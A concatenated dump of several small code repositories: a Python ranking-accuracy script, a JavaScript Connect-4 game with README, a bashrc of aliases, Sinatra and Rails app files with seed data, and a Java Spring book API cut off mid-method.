crowdbt_counters = {"01" : {possibleQuestions[0]: [0,0,0,0], possibleQuestions[1]: [0,0,0,0]}, "1": {possibleQuestions[0]: [0,0,0,0], possibleQuestions[1]: [0,0,0,0]}}
elo_counters = {"10":{possibleQuestions[0]: [0,0,0,0], possibleQuestions[1]: [0,0,0,0]}, "20":{possibleQuestions[0]: [0,0,0,0], possibleQuestions[1]: [0,0,0,0]}, "40":{possibleQuestions[0]: [0,0,0,0], possibleQuestions[1]: [0,0,0,0]}}
#elo = build_elo_rankings(i)
#qscore = build_qscore_rankings(i)
maxdiff = build_maxdiff_rankings(i)
crowdbt = build_crowdbt_rankings(i)
elo = {}
qscore = {}
read_test_data(tasksDefinitions, elo, maxdiff, qscore, crowdbt, qscore_counters, maxdiff_counters, crowdbt_counters, elo_counters, i)
#Calculating accuracies for each ranking strategy
#qscore_acc[possibleQuestions[0]].append(1.0*qscore_counters[possibleQuestions[0]][0] / (qscore_counters[possibleQuestions[0]][0]+qscore_counters[possibleQuestions[0]][3]))
#qscore_acc[possibleQuestions[1]].append(1.0*qscore_counters[possibleQuestions[1]][0] / (qscore_counters[possibleQuestions[1]][0]+qscore_counters[possibleQuestions[1]][3]))
maxdiff_acc[possibleQuestions[0]].append(1.0*maxdiff_counters[possibleQuestions[0]][0] / (maxdiff_counters[possibleQuestions[0]][0]+maxdiff_counters[possibleQuestions[0]][3]))
maxdiff_acc[possibleQuestions[1]].append(1.0*maxdiff_counters[possibleQuestions[1]][0] / (maxdiff_counters[possibleQuestions[1]][0]+maxdiff_counters[possibleQuestions[1]][3]))
#elo_acc["10"][possibleQuestions[0]].append(1.0*elo_counters["10"][possibleQuestions[0]][0] / (elo_counters["10"][possibleQuestions[0]][0]+elo_counters["10"][possibleQuestions[0]][3]))
#elo_acc["10"][possibleQuestions[1]].append(1.0*elo_counters["10"][possibleQuestions[1]][0] / (elo_counters["10"][possibleQuestions[1]][0]+elo_counters["10"][possibleQuestions[1]][3]))
#elo_acc["20"][possibleQuestions[0]].append(1.0*elo_counters["20"][possibleQuestions[0]][0] / (elo_counters["20"][possibleQuestions[0]][0]+elo_counters["20"][possibleQuestions[0]][3]))
#elo_acc["20"][possibleQuestions[1]].append(1.0*elo_counters["20"][possibleQuestions[1]][0] / (elo_counters["20"][possibleQuestions[1]][0]+elo_counters["20"][possibleQuestions[1]][3]))
#elo_acc["40"][possibleQuestions[0]].append(1.0*elo_counters["40"][possibleQuestions[0]][0] / (elo_counters["40"][possibleQuestions[0]][0]+elo_counters["40"][possibleQuestions[0]][3]))
#elo_acc["40"][possibleQuestions[1]].append(1.0*elo_counters["40"][possibleQuestions[1]][0] / (elo_counters["40"][possibleQuestions[1]][0]+elo_counters["40"][possibleQuestions[1]][3]))
crowdbt_acc["01"][possibleQuestions[0]].append(1.0*crowdbt_counters["01"][possibleQuestions[0]][0] / (crowdbt_counters["01"][possibleQuestions[0]][0]+crowdbt_counters["01"][possibleQuestions[0]][3]))
crowdbt_acc["01"][possibleQuestions[1]].append(1.0*crowdbt_counters["01"][possibleQuestions[1]][0] / (crowdbt_counters["01"][possibleQuestions[1]][0]+crowdbt_counters["01"][possibleQuestions[1]][3]))
crowdbt_acc["1"][possibleQuestions[0]].append(1.0*crowdbt_counters["1"][possibleQuestions[0]][0] / (crowdbt_counters["1"][possibleQuestions[0]][0]+crowdbt_counters["1"][possibleQuestions[0]][3]))
crowdbt_acc["1"][possibleQuestions[1]].append(1.0*crowdbt_counters["1"][possibleQuestions[1]][0] / (crowdbt_counters["1"][possibleQuestions[1]][0]+crowdbt_counters["1"][possibleQuestions[1]][3]))
print ">>> Terminei " + str(i)
#Printing confidence intervals of accuracies for each ranking strategy
for key in qscore_acc:
values = qscore_acc[key]
std = numpy.std(values)
print("QScore\t" + key + "\t" + str(numpy.mean(values)) + "\t [" + str(numpy.mean(values) - std * 1.96 / numpy.sqrt(len(values))) + "," + str(numpy.mean(values) + std * 1.96 / numpy.sqrt(len(values))) + "]")
for key in maxdiff_acc:
values = maxdiff_acc[key]
std = numpy.std(values)
print("MaxDiff\t" + key + "\t" + str(numpy.mean(values)) + "\t [" + str(numpy.mean(values) - std * 1.96 / numpy.sqrt(len(values))) + "," + str(numpy.mean(values) + std * 1.96 / numpy.sqrt(len(values))) + "]")
for key in crowdbt_acc:
for value in crowdbt_acc[key]:
values = crowdbt_acc[key][value]
std = numpy.std(values)
print("Crowdbt-" + str(value) + "\t" + str(key) + "\t" + str(numpy.mean(values)) + "\t [" + str(numpy.mean(values) - std * 1.96 / numpy.sqrt(len(values))) + "," + str(numpy.mean(values) + std * 1.96 / numpy.sqrt(len(values))) + "]")
for key in elo_acc:
for value in elo_acc[key]:
values = elo_acc[key][value]
std = numpy.std(values)
print("Elo-" + str(value) + "\t" + key + "\t" + str(numpy.mean(values)) + "\t [" + str(numpy.mean(values) - std * 1.96 / numpy.sqrt(len(values))) + "," + str(numpy.mean(values) + std * 1.96 / numpy.sqrt(len(values))) + "]")
|
335ae8eef3bef300794d25a2e3f70bf5ffd65b0a
|
[
"HTML",
"Markdown",
"JavaScript",
"Python",
"R",
"RMarkdown",
"Shell"
] | 160 |
Python
|
davidcmm/campinaPulse
|
4142bc6e306ff2b95452b2db466a8a48c003555d
|
6ba006a13744f2488d650928129b9d2dcdae46aa
|
refs/heads/master
|
<repo_name>manoli2013/Connect-4<file_sep>/index.js
//Areas
let welcome = document.getElementById('welcome');
let results = document.getElementById('results');
let tableroContainer = document.getElementById('tableroContainer');
let board = document.getElementById('tablero')
let turnoJugador = document.getElementById('turnoJugador');
let coloresJugadores = document.getElementById('coloresJugadores');
let avatars = document.getElementById('avatars');
let jugadorRojo = document.getElementById('jugadorRojo');
let jugadorAmarillo = document.getElementById('jugadorAmarillo');
//Botones
let playButton = document.getElementById('play');
let salir = document.getElementById('salir');
let login = document.getElementById('login');
let loginForm = document.getElementById('login-form');
let puntuaciones = document.getElementById('puntuaciones');
//DISPLAY SI DE UN ELEMENTO DOM
function aparecer(elem) {
if(elem.style.display = "none") {
elem.style.display = "flex";
}
}
//DISPLAY NO
function desaparecer(elem) {
elem.style.display = "none";
}
//celdas
let celdasCollection = document.getElementsByClassName('celda');
let celdas = Array.from(celdasCollection);
//columnas
let colsCollection = document.getElementsByClassName('col');
let cols = Array.from(colsCollection);
//array bidimensional
let colsArrays = [];
cols.forEach(col => colsArrays.push(Array.from(col.children)));
//creamos tablero
let tablero = [];
let arr = [];//temp
function createFila(index) {
colsArrays.forEach(col => {
arr.push(col[index])
})
tablero.push(arr);
arr = [];
}
for(i = 0; i < 6; i++) {
createFila(i);
}
//style tablero
function iniciarTablero() {
desaparecer(welcome);
tableroContainer.style.display = "flex";
/* board.style.width = '80%';
board.style.minHeight = '250px'; */
board.style.maxWidth = '580px';
board.style.maxHeight = '400px';
celdas.forEach(item => {
item.style.width = '98%';
item.style.height = '10vh';
item.value = 0;
item.style.backgroundColor = '#ffffff';
item.style.color = '#ffffff';
});
playerOne.jugadas = 0;
playerTwo.jugadas = 0;
fichasDiagonales = [];
}
function resetTablero() {
celdas.forEach(item => {
/* item.style.width = '50px'; */
item.style.backgroundColor = '#ffffff';
item.style.color = '#ffffff';
item.value = 0;
});
}
let currentPlayer;
let user1 = '';
let user2 = '';
let playerOne;
let playerTwo;
let partidaFinalizada = 0;
//Factory para crear jugador:
function Player(name, fichas, color, letra, img) {
return {
name,
fichas,
color,
letra,
jugadas: 0,
puntos: 0,
img,
setBackground(celda) {
celda.style.backgroundColor = this.color;
},
setAvatar() {
let name = document.createElement('div');
name.setAttribute('id', this.name)
name.textContent = this.name;
coloresJugadores.appendChild(name);
let avatar = document.createElement('img');
avatar.setAttribute('src', this.img);
avatar.setAttribute('id', this.color);
avatar.style.opacity = '0.3';
coloresJugadores.appendChild(avatar);
},
isFinished() {
if(this.jugadas === 21) {
return true;
}
else {
return false;
}
},
empty() {
this.name = '';
this.jugadas = 0;
},
}
}
function asignarJugadores() {
user1 = document.getElementById('user1').value;
user2 = document.getElementById('user2').value;
if(user1 === '') {
document.getElementById('user1').focus();
}
if(user2 === '') {
document.getElementById('user2').focus();
}
playerOne = new Player(user1,'ROJAS', 'red', 'R', 'avatarRojo.png');
playerTwo = new Player(user2, 'AMARILLAS', 'yellow', 'A','avatarAmarillo.png');
closeLogin();
}
function setCurrentPlayer() {
currentPlayer = playerOne;
}
//EMPEZAR A JUGAR
playButton.addEventListener('click', conecta4);
function conecta4() {
if(isLogin()) {
playButton.innerHTML = 'Play Again';
iniciarTablero();
partidaFinalizada = 0;
setCurrentPlayer();
changeAvatar();
}
else {
modalPlay.style.display = 'block';
}
}
function turno() {
paintFirstInColumn();
checkConectaVertical();
checkConectaHorizontal();
checkConectaDiagonal();
currentPlayer.jugadas ++;
displayResult();
changePlayer();
changeAvatar();
}
function displayResult() {
if(playerOne.jugadas === 21 && playerTwo.jugadas === 21) {
if(partidaFinalizada === 0) {
resultados.textContent = 'PARTIDA NULA';
modalResults.style.display = 'block';
}
}
else {
if(partidaFinalizada) {
resultados.textContent = 'Punto para ' + currentPlayer.name;
modalResults.style.display = 'block';
}
}
}
function changePlayer() {
if(currentPlayer === playerOne) {
currentPlayer = playerTwo;
}
else {
currentPlayer = playerOne;
}
}
function changeAvatar() {
let redAvatar = document.getElementById('red');
let yellowAvatar = document.getElementById('yellow');
if(currentPlayer.color === 'yellow') {
redAvatar.style.opacity = '0.2';
yellowAvatar.style.opacity = '1';
}
else {
redAvatar.style.opacity = '1';
yellowAvatar.style.opacity = '0.2';
}
}
let colActiva;//la columna que clicamos
let numCol;
let isColActivaEmpty;
cols.forEach(item =>{
item.addEventListener('mouseover', function () {
item.style.opacity = '0.3';
})
item.addEventListener('mouseout', function () {
item.style.opacity = '1';
})
})
cols.forEach(item => {
item.addEventListener('click', function activarColumna() {
numCol = this.id;
colActiva = Array.from(item.children);
function isNull(cell) {
return cell.value === '0';
}
isColActivaEmpty = colActiva.some(isNull);
if(partidaFinalizada === 0) {
if(isColActivaEmpty) {
if(!currentPlayer.isFinished()) {
turno();
}
}
}
})
})
function paintFirstInColumn() {
let cellToChange = colActiva.find(cell => cell.value === '0');
if(cellToChange !== undefined) {
cellToChange.value = currentPlayer.letra;
cellToChange.style.color = currentPlayer.color;
cellToChange.style.backgroundColor = currentPlayer.color;
}
}
let fourConected = [];
function paintCombination() {
fourConected.forEach(cell => {
cell.style.backgroundColor = "black";
cell.style.color = "black";
});
}
//BUSQUEDA CONECTA 4 EN LAS COLUMNAS
let indexFichaActual;
function checkConectaVertical() {
indexFichaActual = colActiva.findIndex(cell => cell.value === currentPlayer.letra);
fourConected = [colActiva[indexFichaActual], colActiva[indexFichaActual + 1] , colActiva[indexFichaActual + 2] , colActiva[indexFichaActual + 3]]
if(indexFichaActual <= 2) {
if(colActiva[indexFichaActual + 1].value === currentPlayer.letra && colActiva[indexFichaActual + 2].value === currentPlayer.letra && colActiva[indexFichaActual + 3].value === currentPlayer.letra) {
paintCombination();
currentPlayer.puntos ++;
partidaFinalizada ++;
}
}
}
//BUSQUEDA CONECTA 4 EN LAS FILAS
let filActiva = [];
let firstIndexFila;
function checkConectaHorizontal() {
filActiva = [];//inicializamos cada vez
for(let i = 0; i < 7; i++) {
filActiva.push(tablero[indexFichaActual][i]);
}
firstIndexFila = filActiva.findIndex(cell => cell.value === currentPlayer.letra)
fourConected = [filActiva[firstIndexFila], filActiva[firstIndexFila + 1] , filActiva[firstIndexFila + 2] , filActiva[firstIndexFila + 3]]
if(firstIndexFila <= 3) {
if(filActiva[firstIndexFila + 1].value === currentPlayer.letra && filActiva[firstIndexFila + 2].value === currentPlayer.letra && filActiva[firstIndexFila + 3].value === currentPlayer.letra) {
paintCombination();
currentPlayer.puntos ++;
partidaFinalizada ++;
}
}
}
//BUSQUEDA CONECTA 4 EN DIAGONALES
let indexV;
let indexH;
let fichasDiagonales = [];
function changeCombinationDiagonal (elem) {
elem.style.backgroundColor = 'black';
elem.style.color = 'black';
}
function checkConectaDiagonal() {
indexV = colActiva.findIndex(cell => cell.value === '0') -1;
indexH = parseInt(numCol);
fichasDiagonales = [1];
diagDchAba();
diagIzqAba();
diagDchArr();
diagIzqArr();
if(fichasDiagonales.length === 4) {
partidaFinalizada ++;
}
function diagIzqArr() {
if(tablero[indexV + 1] !== undefined && tablero[indexH -1] !== undefined) {
if(tablero[indexV + 1][indexH - 1].value === currentPlayer.letra) {
fichasDiagonales.push(1);
if(tablero[indexV + 2] !== undefined && tablero[indexH - 2] !== undefined) {
if(tablero[indexV + 2][indexH - 2].value === currentPlayer.letra) {
fichasDiagonales.push(1);
if(tablero[indexV + 3] !== undefined && tablero[indexH -3] !== undefined) {
if(tablero[indexV + 3][indexH - 3].value === currentPlayer.letra) {
fichasDiagonales.push(1);
}
}
}
}
}
}
}
function diagDchAba() {
if(tablero[indexV -1] !== undefined && tablero[indexH +1] !== undefined) {
if(tablero[indexV - 1][indexH + 1].value === currentPlayer.letra) {
fichasDiagonales.push(1);
if(tablero[indexV - 2] !== undefined && tablero[indexH + 2] !== undefined) {
if(tablero[indexV - 2][indexH + 2].value === currentPlayer.letra) {
fichasDiagonales.push(1);
if(tablero[indexV - 3] !== undefined && tablero[indexH + 3] !== undefined) {
if(tablero[indexV - 3][indexH + 3].value === currentPlayer.letra) {
fichasDiagonales.push(1);
}
}
}
}
}
}
}
function diagIzqAba() {
if(tablero[indexV -1] !== undefined && tablero[indexH - 1] !== undefined) {
if(tablero[indexV - 1][indexH - 1].value === currentPlayer.letra) {
fichasDiagonales.push(1);
if(tablero[indexV - 2] !== undefined && tablero[indexH - 2] !== undefined) {
if(tablero[indexV - 2][indexH - 2].value === currentPlayer.letra) {
fichasDiagonales.push(1);
if(tablero[indexV - 3] !== undefined && tablero[indexH - 3] !== undefined) {
if(tablero[indexV - 3][indexH - 3].value === currentPlayer.letra) {
fichasDiagonales.push(1);
}
}
}
}
}
}
}
function diagDchArr() {
if(tablero[indexV +1] !== undefined && tablero[indexH + 1] !== undefined) {
if(tablero[indexV + 1][indexH + 1].value === currentPlayer.letra) {
fichasDiagonales.push(1);
if(tablero[indexV + 2] !== undefined && tablero[indexH + 2] !== undefined) {
if(tablero[indexV + 2][indexH + 2].value === currentPlayer.letra) {
fichasDiagonales.push(1);
if(tablero[indexV + 3] !== undefined && tablero[indexH + 3] !== undefined) {
if(tablero[indexV + 3][indexH + 3].value === currentPlayer.letra) {
fichasDiagonales.push(1);
}
}
}
}
}
}
}
}
//MODALES
// MODAL login FORM
let modalForm = document.getElementById("modalForm");
let closeForm = document.getElementById('closeForm');
function isLogin() {
if (user1 === '' && user2 === '') {
return false;
}
else {
return true;
}
}
function closeLogin() {
if(isLogin()) {
modalForm.style.display = 'none';
}
playerOne.setAvatar();
playerTwo.setAvatar();
}
login.addEventListener('click', registro);
function registro() {
modalForm.style.display = "block";
}
closeForm.addEventListener('click', closeLogin);
//Modal stop
let modalStop = document.getElementById("modalStop");
let siButton = document.getElementById('si');
let noButton = document.getElementById('no');
function parar() {
modalStop.style.display = "block";
}
salir.addEventListener('click', parar);
siButton.addEventListener('click', function(e) {
e.preventDefault();
user1 = '';
user2 = '';
modalStop.style.display = 'none';
reset();
})
noButton.addEventListener('click', function() {
modalStop.style.display = 'none';
});
//Modal play button
let modalPlay = document.getElementById("modalPlay");
let closePlay = document.getElementById('closePlay');
closePlay.addEventListener('click', function() {
modalPlay.style.display = 'none';
})
//Modal resultado partida
/* let resultadoPartida = document.getElementById('resultadoPartida'); */
let modalResults = document.getElementById("modalResults");
let closeResults = document.getElementById('closeResults');
closeResults.addEventListener('click', function() {
modalResults.style.display = 'none';
})
//VACIAR PARA LA SIGUIENTE PARTIDA
function reset() {
aparecer(welcome);
loginForm.reset();
playerOne = {};
playerTwo = {};
resetTablero();
playButton.innerHTML = 'PLAY';
fichasDiagonales = [];
partidaFinalizada = 0;
removeAvatar();
tableroContainer.style.display = "none";
}
function removeAvatar() {
var firstChild = coloresJugadores.firstElementChild;
while (firstChild) {
firstChild.remove();
firstChild = coloresJugadores.firstElementChild;
}
}
/*var p = document.getElementById('queue');
for (var i=0; i<p.childNodes.length; i++) {
if (p.childNodes[i].tagName=='LI') {
p.removeChild(p.childNodes[i]);
break;
}
}
*/
let modalRanking = document.getElementById('modalRanking');
let closeRanking = document.getElementById('closeRanking');
let puntuacionJugador1 = document.getElementById('puntuacionJugador1');
let puntuacionJugador2 = document.getElementById('puntuacionJugador2');
function mostrarRanking() {
puntuacionJugador1.textContent = playerOne.name + ': ' + playerOne.puntos;
puntuacionJugador2.textContent = playerTwo.name + ': ' + playerTwo.puntos;
modalRanking.style.display = 'block';
}
puntuaciones.addEventListener('click', mostrarRanking);
closeRanking.addEventListener('click', function() {
modalRanking.style.display = 'none';
})
<file_sep>/README.md
# Connect4
## Description
Connect Four is a tic-tac-toe like game in which two players drop discs into a 7x6 board. The first player to get four in a row (either vertically, horizontally, or diagonally) wins.
<center>
</center>
## Functional Description
Connect4 runs with functional programming, regarding creation of bidimensional board arrays and OOP with the creation of 2 players objects, through which the current player is set in every turn and all specific data of the player is stored accordingly.
The main features of the programming language included in this project:
1. Creation of bidimensional array through html elements (divs).
2. Menu elements events and modals for the players to interact with.
3. Factory function to create 2 players.
4. Game developing activities according to the following scheme:
<center>
</center>
## To Do
- Create board without html elements (through new Array() and link through ID's).
- Complete Login Form and connect to server.
- Implement styles
- Diagonal check to be painted.
- Implement with algorithm IA to play agains the machine.
## Installation
To install this project go to [Connect4](https://github.com/manoli2013/Connect4.git) and clone it to your local repository.
## Usage
The next section is usage, in which you instruct other people on how to use your project after they’ve installed it. This would also be a good place to include screenshots of your project in action.
---
## Credits
This project has been developed by [<NAME>](https://github.com/manoli2013).
|
fc4d76fdfa919f68b668c4655fbabe62cca64614
|
[
"JavaScript",
"Markdown"
] | 2 |
JavaScript
|
manoli2013/Connect-4
|
7dbd21af2602f1a2a825d839ebf2fa9f3de3f233
|
4d4ac14a3ec800570f6dd0573d7cf552998c390a
|
refs/heads/master
|
<repo_name>homogeneous/ConfigFiles<file_sep>/README.md
# Config Files
Run commands or dot files
<file_sep>/bashrc
# .bashrc
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
# Uncomment the following line if you don't like systemctl's auto-paging feature:
# export SYSTEMD_PAGER=
# User specific aliases and functions
alias rm='/bin/rm -i'
alias cp='/bin/cp -i'
alias mv='/bin/mv -i'
alias clean='/bin/rm -i *~'
alias la='ls -lca'
alias gwd='cd /home/heedong/Documents'
alias em='emacs -nw --color=no'
alias mat='matlab -nojvm'
alias mendeley='/opt/mendeleyDesktop/bin/mendeleydesktop'
alias chrome='google-chrome'
alias lock='i3lock'
alias vol='alsamixer'
alias op='xdg-open'
alias pbrc='cat /home/heedong/.bashrc'
# Remote computers
|
e31ee77a774fd2596b71ef59a166993bf992c7e7
|
[
"Markdown",
"Shell"
] | 2 |
Markdown
|
homogeneous/ConfigFiles
|
62e52116245846928aae620951e12158b40ee603
|
a1f6a0c5d23e261b431699f5ace1a837821023a8
|
refs/heads/master
|
<repo_name>syafiqfaiz/flickr_jr<file_sep>/app/controllers/photos.rb
namespace '/photos' do
get '/upload' do
@user = User.find(session[:id])
@albums = @user.albums
erb :'/photos/upload_photo'
end
post '/create' do
album = Album.find(params[:album_id])
@photo = album.photos.build
@photo.file = params[:file_path]
if @photo.save
redirect "/albums/#{album.id}/photos/#{@photo.id}"
else
session[:errors] = "failed to save photo"
redirect "/photos/new"
end
end
get "/:id" do
@photo = Photo.find(params[:id])
erb :'/photos/view_one'
end
end<file_sep>/app/controllers/albums.rb
namespace '/albums' do
get "/create_album" do
erb :"/albums/create_album"
end
post "/create_album" do
@current_user = User.find(session[:id])
@current_user.albums.create(name: params[:name], description: params[:description])
redirect "/users/#{session[:id]}"
end
get '/:id' do
album = Album.find(params[:id])
@photos = album.photos
erb :"/photos/view_multiple"
end
get '/:album_id/photos/:photo_id' do
@photo = Photo.find(params[:photo_id])
erb :'photos/view_one'
end
end<file_sep>/app/controllers/users.rb
namespace '/users' do
get '/create' do
erb :'/users/create_user'
end
post '/create_user' do
@user = User.create(name: params[:name], username: params[:username], email:params[:email], password: params[:password])
@user.albums.create(name: 'default album')
erb :'/users/create_user_success'
end
get '/sign_up' do
erb :'/users/sign_up'
end
get '/login' do
erb :'/users/login'
end
post '/login' do
@user = User.authenticate(params[:email], params[:password])
if @user
session[:id] = @user[:id]
redirect '/'
else
erb :'/users/invalid'
end
end
get '/logout' do
session[:id] = nil
redirect "/"
end
get '/:id' do
@user = User.find params[:id]
@albums [email protected]
erb :"/users/particular_user"
end
end<file_sep>/app/controllers/indexs.rb
enable :sessions
def login?
if session[:id].nil?
return false
else
return true
end
end
def id
return session[:id]
end
get '/' do
@photos = Photo.last(9)
# @albums = Album.last(6)
erb :index
end
<file_sep>/app/models/photo.rb
class Photo < ActiveRecord::Base
mount_uploader :file, Uploader
belongs_to :album
end
|
bc0f7983353e490ff2e4af9374f2d67774424265
|
[
"Ruby"
] | 5 |
Ruby
|
syafiqfaiz/flickr_jr
|
f4595ce1160a8b3dc1d21572223cf3365bcc15c6
|
ae500ff2f8a9cf05c5e861ae505177453483e2d4
|
refs/heads/main
|
<repo_name>pitosalas/teamation<file_sep>/app/models/project.rb
class Project < ApplicationRecord
belongs_to :course
scope :active, -> { where(is_active: true) }
scope :onhold, -> { where(is_active: false) }
# def self.active
# Project.where(is_active: true)
# end
#
# def self.onhold
# Project.where(is_active: false)
# end
end
<file_sep>/app/controllers/groups_controller.rb
class GroupsController < ApplicationController
# before_action :set_group, only: [:show, :edit, :update, :destroy]
before_action :set_course
# GET /groups
# GET /groups.json
def index
if @course.groups.size.zero? && @course.students.size.positive? && @course.projects.size.positive?
group_service = GroupCreationManager::GroupMatcher.new
group_service.determine_algo_and_match(@course, params)
@course.update(has_group: true)
end
if @course.has_group && @course.state != "view_groups"
@course.update(state: "view_groups")
end
@groups = @course.groups
@group ||= @course.groups.first
if current_user.type == 'Professor'
current_user.current_course_id = @course.id
current_user.save
end
respond_to do |format|
format.html
format.csv {send_data @groups.to_csv, filename: "groups-#{Date.today}.csv"}
end
end
# GET /groups/1
# GET /groups/1.json
def show
@group = @course.groups.find(params[:id])
end
# GET /groups/new
def new
@group = Course.groups.build
end
# GET /groups/1/edit
def edit
@group = Course.groups.find(params[:id])
end
# POST /groups
# POST /groups.json
def create
@group = Course.groups.new(group_params)
respond_to do |format|
if @group.save
format.html { redirect_to @group, notice: 'Group was successfully created.' }
format.json { render :show, status: :created, location: @group }
else
format.html { render :new }
format.json { render json: @group.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /groups/1
# PATCH/PUT /groups/1.json
def update
@group = Course.groups.new(group_params)
respond_to do |format|
if @group.update(group_params)
format.html { redirect_to @group, notice: 'Group was successfully updated.' }
format.json { render :show, status: :ok, location: @group }
else
format.html { render :edit }
format.json { render json: @group.errors, status: :unprocessable_entity }
end
end
end
# DELETE /groups/1
# DELETE /groups/1.json
def destroy
@group = @course.groups.find(params[:id])
@group.destroy
respond_to do |format|
format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }
format.json { head :no_content }
end
end
# DELETE /groups
# DELETE /groups
def destroy_all
@course.groups.each(&:destroy)
@course.update(has_group: false, state: "choose_algo")
respond_to do |format|
format.html { redirect_to grouping_course_path(@course) }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
#
def set_course
@course = Course.find(params[:course_id])
end
# def set_group
# @group = Group.find(params[:id])
# end
# Only allow a list of trusted parameters through.
def group_params
params.require(:group).permit(:course_id, :project_id, :group_name, :students_id)
end
end
<file_sep>/app/helpers/courses_helper.rb
module CoursesHelper
def find_student_assigned_group groups, student_id
groups.each do |group|
if group.students_id.include? student_id
return group.id
end
end
return nil
end
end
<file_sep>/app/reflexes/project_reflex.rb
class ProjectReflex < ApplicationReflex
before_reflex do
@course = Course.find(element.dataset[:course_id])
@project = Project.find(element.dataset[:project_id])
@user = Professor.find(element.dataset[:user_id])
end
def archive
@project.update(is_active: false)
end
def unarchive
@project.update(is_active: true)
end
end
<file_sep>/db/seeds.rb
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).
#
# Examples:
#
# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
# Character.create(name: 'Luke', movie: movies.first)
(1..50).each do
first = Faker::Name.first_name
last = Faker::Name.last_name
User.create(firstname: first,
lastname: last,
email: last + "@brandeis.edu",
password: "<PASSWORD>", type: "Student")
end
(1..50).each do
first = Faker::Name.first_name
last = Faker::Name.last_name
User.create(firstname: first,
lastname: last,
email: last + "@brandeis.edu",
password: "<PASSWORD>", type: "Professor")
end
#Create an admin student for development use
admin_student = User.create(firstname: "student_admin", lastname: "admin",
email: "<EMAIL>",
password: "<PASSWORD>",
type: "Student")
#Create an admin professor for development use
admin_professor = User.create(firstname: "admin",
lastname: "admin",
email: "<EMAIL>",
password: "<PASSWORD>",
type: "Professor")
#Create 10 courses taught by the admin for demo use
10.times do
Course.create(name: Faker::Educator.course_name,
pin: Faker::Number.number(digits: 6),
professor_id: admin_professor.id)
end
#Create a consistent course taught by the admin professor for demo use
Course.create(name: Faker::Educator.course_name,
pin: 111111, professor_id: admin_professor.id)
#Add 30 courses into the database
30.times do
Course.create(name: Faker::Educator.course_name,
pin: Faker::Number.number(digits: 6),
professor_id: Professor.all.sample.id)
end
#Add 30 projects into database
30.times do
Project.create(course_id: Course.all.sample.id,
project_name: Faker::Team.name, description: Faker::Game.genre)
end
#Add 60 groups into the database
# 60.times do
# Group.create(course_id: Course.all.sample.id,
# project_id: Project.all.sample.id, description: Faker::Game.genre)
# end
#Add 4 groups into each of the professor's classes for demo purposes
Course.where(professor_id: admin_professor.id).each do |course|
projects = Project.where(course_id: course.id)
4.times do
Group.create(course_id: course.id, project_id: projects.all.sample.id, description: Faker::Game.genre)
end
end
#Add 30 students into the admin professor's courses for demo uses
# 100.times do
# courses = Course.where(professor_id: admin_professor.id)
# n = courses.all.sample.id
# s = Student.all.sample.id
# Taking.create(student_id: s, course_id: n)
# end
#Enroll random students in a random class 200 times
# 200.times do
# n = Course.all.sample.id
# s = Student.all.sample.id
# Taking.create(student_id: s, course_id: n)
# end
#Add a preference for each student in all of the admin professor's
#courses for demo purposes
# admin_professor.courses.each do |course|
# groups = course.groups.pluck(:id)
# if groups.size > 2
# students = course.students
# students.each do |student|
# first = groups.sample
#
# second = groups.sample
# while (first == second)
# second = groups.sample
# end
#
# third = groups.sample
# while (third == first || third == second)
# third = groups.sample
# end
# p = Preference.create(course_id: course.id,
# student_id: student.id,
# first: first,
# second: second,
# third: third,
# codingProficiency: 5,
# dreampartner: students.sample.id,
# schedule: "{\"mondayD\":\"0\",\"mondayN\":\"1\",\"tuesdayD\":\"1\",\"tuesdayN\":\"0\",\"wednesdayD\":\"0\",\"wednesdayN\":\"0\",\"thursdayD\":\"1\",\"thursdayN\":\"0\",\"fridayD\":\"0\"
# ,\"fridayN\":\"1\",\"saturdayD\":\"0\",\"saturdayN\":\"0\",\"sundayD\":\"0\",\"sundayN\":\"0\"}")
# end
# end
# end
<file_sep>/app/models/preference.rb
class Preference < ApplicationRecord
belongs_to :course
belongs_to :student
before_validation :remove_empty_dream_partner
LEVELS = (1..5).to_a.freeze
TIME_ZONE = ['UTC+12', 'UTC+11', 'UTC+10', 'UTC+9', 'UTC+8', 'UTC+7', 'UTC+6', 'UTC+5', 'UTC+4', 'UTC+3', 'UTC+2', 'UTC+1', 'UTC+0',
'UTC-12', 'UTC-11', 'UTC-10', 'UTC-9', 'UTC-8', 'UTC-7', 'UTC-6', 'UTC-5', 'UTC-4', 'UTC-3', 'UTC-2', 'UTC-1']
TIME_SLOT = ['mondayM', 'mondayA', 'mondayE', 'tuesdayM', 'tuesdayA', 'tuesdayE', 'wednesdayM', 'wednesdayA', 'wednesdayE', 'thursdayM',
'thursdayA', 'thursdayE', 'fridayM', 'fridayA', 'fridayE', 'saturdayM', 'saturdayA', 'saturdayE', 'sundayM', 'sundayA', 'sundayE']
def remove_empty_dream_partner
dream_partner.reject! { |p| p.nil? }
end
end
|
06388214c9c64401e6f4c53ed819c80d361bcfe6
|
[
"Ruby"
] | 6 |
Ruby
|
pitosalas/teamation
|
362bd1bc448f81ee5aadf7d0682bc4a95c0c243c
|
e01261098474950c1209e90d20f433ef6f43cf06
|
refs/heads/master
|
<repo_name>Gugu04/simpleApiRest_java<file_sep>/apirest_jdbc/src/main/java/com/api/rest/services/interfaces/LibroService.java
package com.api.rest.services.interfaces;
import com.api.rest.dto.LibroDTO;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public interface LibroService {
List<LibroDTO> getAllLibro();
List<LibroDTO> findByLibro(Integer idLibro);
void insertLibro(LibroDTO libroDTO);
void updateLibro(LibroDTO libroDTO);
void deleteLibro(Integer idLibro);
}
<file_sep>/apirest_jdbc/src/main/java/com/api/rest/services/implementation/LibroServiceImpl.java
package com.api.rest.services.implementation;
import com.api.rest.dto.LibroDTO;
import com.api.rest.repository.LibroRespository;
import com.api.rest.services.interfaces.LibroService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import java.util.List;
@Component
public class LibroServiceImpl implements LibroService {
@Autowired
LibroRespository libroRespository;
@Override
public List<LibroDTO> getAllLibro() {
return libroRespository.getAllLibro();
}
@Override
public List<LibroDTO> findByLibro(Integer idLibro) {
return libroRespository.findByLibro(idLibro);
}
@Override
public void insertLibro(LibroDTO libroDTO) {
libroRespository.insertLibro(libroDTO);
}
@Override
public void updateLibro(LibroDTO libroDTO) {
